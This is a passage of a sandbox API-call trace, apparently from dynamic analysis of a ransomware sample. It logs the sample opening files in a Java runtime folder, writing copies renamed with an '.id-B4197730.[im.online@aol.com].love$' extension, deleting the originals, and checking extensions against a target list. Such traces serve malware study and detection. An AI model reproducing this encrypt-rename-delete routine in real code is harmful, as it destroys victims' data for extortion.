dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0230.339] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=135744) returned 1 [0230.339] CloseHandle (hObject=0x458) returned 1 [0230.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll")) returned 0x20 [0230.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.340] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.340] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0230.340] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0230.341] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=31808) returned 1 [0230.341] CloseHandle (hObject=0x458) returned 1 [0230.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll")) returned 0x20 [0230.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.341] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.341] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0230.341] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0230.342] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=255040) returned 1 [0230.342] CloseHandle (hObject=0x458) returned 1 [0230.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 0x20 [0230.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.342] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.343] lstrcmpiW (lpString1=".exe", lpString2=".love$") returned -1 [0230.343] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0230.343] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=16448) returned 1 [0230.343] CloseHandle (hObject=0x458) returned 1 [0230.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 0x20 [0230.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.344] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.344] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0230.344] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0230.345] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=79936) returned 1 [0230.345] CloseHandle (hObject=0x458) returned 1 [0230.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll")) returned 0x20 [0230.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.345] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.346] lstrcmpiW (lpString1=".exe", lpString2=".love$") returned -1 [0230.346] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0230.347] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=197184) returned 1 [0230.347] CloseHandle (hObject=0x458) returned 1 [0230.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 0x20 [0230.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.347] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.348] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0230.348] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0230.348] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=49216) returned 1 [0230.348] CloseHandle (hObject=0x458) returned 1 [0230.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll")) returned 0x20 [0230.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.349] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.349] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0230.349] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0230.350] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=24128) returned 1 [0230.350] CloseHandle (hObject=0x458) returned 1 [0230.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 0x20 [0230.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.350] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.350] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0230.351] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0230.351] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=110144) returned 1 [0230.351] CloseHandle (hObject=0x458) returned 1 [0230.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll")) returned 0x20 [0230.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.351] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.352] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0230.352] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0230.352] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=192576) returned 1 [0230.352] CloseHandle (hObject=0x458) returned 1 [0230.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll")) returned 0x20 [0230.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.353] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.397] lstrcmpiW (lpString1=".cfg", lpString2=".love$") returned -1 [0230.397] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0230.785] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=634) returned 1 [0230.786] CloseHandle (hObject=0x3c0) returned 1 [0230.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 0x20 [0230.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.818] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0230.839] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.839] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.839] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0230.843] GetLastError () returned 0x0 [0230.843] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x27a, lpOverlapped=0x0) returned 1 [0230.844] WriteFile (in: hFile=0x480, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x280, lpOverlapped=0x0) returned 1 [0230.845] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.846] WriteFile (in: hFile=0x480, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xe2, lpOverlapped=0x0) returned 1 [0230.846] SetEndOfFile (hFile=0x480) returned 1 [0230.846] CloseHandle (hObject=0x480) returned 1 [0230.851] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.851] SetEndOfFile (hFile=0x3c0) returned 1 [0230.855] CloseHandle (hObject=0x3c0) returned 1 [0230.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0230.856] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 1 [0230.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0230.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0230.857] lstrlenW (lpString=".doc") returned 4 [0230.857] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0230.857] lstrlenW (lpString=".docx") returned 5 [0230.857] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0230.857] lstrlenW (lpString=".pdf") returned 4 [0230.857] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0230.857] lstrlenW (lpString=".xls") returned 4 [0230.857] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0230.857] lstrlenW (lpString=".xlsx") returned 5 [0230.857] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0230.857] lstrlenW (lpString=".ppt") returned 4 [0230.857] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0230.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0230.857] lstrlenW (lpString=".zip") returned 4 [0230.857] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0230.857] lstrlenW (lpString=".rar") returned 4 [0230.857] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0230.857] lstrlenW (lpString=".bz2") returned 4 [0230.857] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0230.857] lstrlenW (lpString=".7z") returned 3 [0230.857] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0230.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0230.857] lstrlenW (lpString=".dbf") returned 4 [0230.857] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0230.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0230.857] lstrlenW (lpString=".1cd") returned 4 [0230.858] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0230.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0230.858] lstrlenW (lpString=".jpg") returned 4 [0230.858] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0230.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0230.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0230.858] lstrlenW (lpString=".doc") returned 4 [0230.858] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0230.858] lstrlenW (lpString=".docx") returned 5 [0230.858] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0230.858] lstrlenW (lpString=".pdf") returned 4 [0230.858] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0230.858] lstrlenW (lpString=".xls") returned 4 [0230.858] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0230.858] lstrlenW (lpString=".xlsx") returned 5 [0230.858] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0230.858] lstrlenW (lpString=".ppt") returned 4 [0230.858] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0230.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0230.858] lstrlenW (lpString=".zip") returned 4 [0230.858] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0230.858] lstrlenW (lpString=".rar") returned 4 [0230.858] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0230.858] lstrlenW (lpString=".bz2") returned 4 [0230.858] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0230.858] lstrlenW (lpString=".7z") returned 3 [0230.858] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0230.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0230.858] lstrlenW (lpString=".dbf") returned 4 [0230.859] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0230.859] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0230.859] lstrlenW (lpString=".1cd") returned 4 [0230.859] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0230.859] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0230.859] lstrlenW (lpString=".jpg") returned 4 [0230.859] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0230.859] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0230.859] lstrlenW (lpString="charsets.jar") returned 12 [0230.859] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0230.860] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=3036922) returned 1 [0230.860] CloseHandle (hObject=0x3c0) returned 1 [0230.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0x20 [0230.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[im.online@aol.com].love$")) returned 0 [0230.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0230.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0230.861] lstrlenW (lpString=".doc") returned 4 [0230.861] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0230.861] lstrlenW (lpString=".docx") returned 5 [0230.861] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0230.861] lstrlenW (lpString=".pdf") returned 4 [0230.861] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0230.861] lstrlenW (lpString=".xls") returned 4 [0230.861] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0230.861] lstrlenW (lpString=".xlsx") returned 5 [0230.861] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0230.861] lstrlenW (lpString=".ppt") returned 4 [0230.861] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0230.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0230.861] lstrlenW (lpString=".zip") returned 4 [0230.861] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0230.861] lstrlenW (lpString=".rar") returned 4 [0230.861] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0230.861] lstrlenW (lpString=".bz2") returned 4 [0230.861] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0230.861] lstrlenW (lpString=".7z") returned 3 [0230.861] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0230.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0230.861] lstrlenW (lpString=".dbf") returned 4 [0230.861] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0230.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0230.862] lstrlenW (lpString=".1cd") returned 4 [0230.862] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0230.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0230.862] lstrlenW (lpString=".jpg") returned 4 [0230.862] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0230.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0230.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0230.862] lstrlenW (lpString=".doc") returned 4 [0230.862] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0230.862] lstrlenW (lpString=".docx") returned 5 [0230.862] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0230.862] lstrlenW (lpString=".pdf") returned 4 [0230.862] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0230.862] lstrlenW (lpString=".xls") returned 4 [0230.862] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0230.862] lstrlenW (lpString=".xlsx") returned 5 [0230.862] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0230.862] lstrlenW (lpString=".ppt") returned 4 [0230.862] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0230.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 